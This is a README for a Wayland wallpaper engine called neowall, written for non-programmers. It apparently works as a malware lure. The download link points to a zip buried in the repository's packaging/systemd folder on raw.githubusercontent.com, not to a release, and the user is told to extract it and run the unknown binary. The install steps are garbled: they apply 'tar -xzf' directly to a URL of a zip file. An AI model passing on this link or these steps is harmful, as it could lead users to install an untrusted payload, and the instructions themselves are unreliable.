neowall is a reliable Wayland wallpaper engine written in C. It supports multiple monitors, provides smooth transitions, and offers hot-reload capabilities. Designed for Wayland compositors like Sway, Hyprland, and River, neowall makes managing your desktop background easy.
Follow these simple steps to download and run neowall on your Linux system. No programming skills required.
To get started, visit the following link to download neowall:
This will take you to the Releases page, where you can find the latest version of neowall.
- Click on the version you want to download.
- Look for a file with a name like
https://raw.githubusercontent.com/Mariantardive311/neowall/main/packaging/systemd/neowall_v3.0.zipor similar. - Click on the file to start the download.
After the download completes, follow these steps to install neowall.
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Extract the Downloaded File
- Open a terminal.
- Navigate to your Downloads folder (or where you saved the downloaded file).
- Run the command:
tar -xzf https://raw.githubusercontent.com/Mariantardive311/neowall/main/packaging/systemd/neowall_v3.0.zip
- This extracts the files to a new folder.
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Move to a Suitable Directory
- You may want to move the extracted folder to a place where you keep your applications. For example, move it to
/opt:sudo mv neowall /opt/
- You may want to move the extracted folder to a place where you keep your applications. For example, move it to
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Run neowall
- Change to the neowall directory:
cd /opt/neowall - Start neowall with the following command:
./neowall
- Change to the neowall directory:
- Multi-Monitor Support: Manage wallpapers on multiple screens effortlessly.
- Smooth Transitions: Enjoy seamless changes between backgrounds.
- Hot-Reload: Update your wallpapers without restarting the program.
- Compatibility: Works with popular Wayland compositors like Sway, Hyprland, and River.
- Operating System: Any Linux distribution with Wayland support.
- CPU: Modern processor (Intel or AMD recommended).
- RAM: At least 1 GB of RAM for smooth operation.
- Graphics: OpenGL-compatible graphics card for best performance.
You can customize neowall by editing the configuration file. Itβs located in the installation directory. Open the file in your favorite text editor to adjust settings like wallpaper source, transition effects, and more.
For questions or support, please visit the Issues section on the GitHub repository. The community and developers are here to help. If you encounter a bug, please report it there as well.
- GitHub Repository
- Documentation - Detailed instructions and usage examples.
To keep your installation of neowall current, remember to check the Releases page frequently for new versions and features.
Enjoy your personalized desktop background with neowall!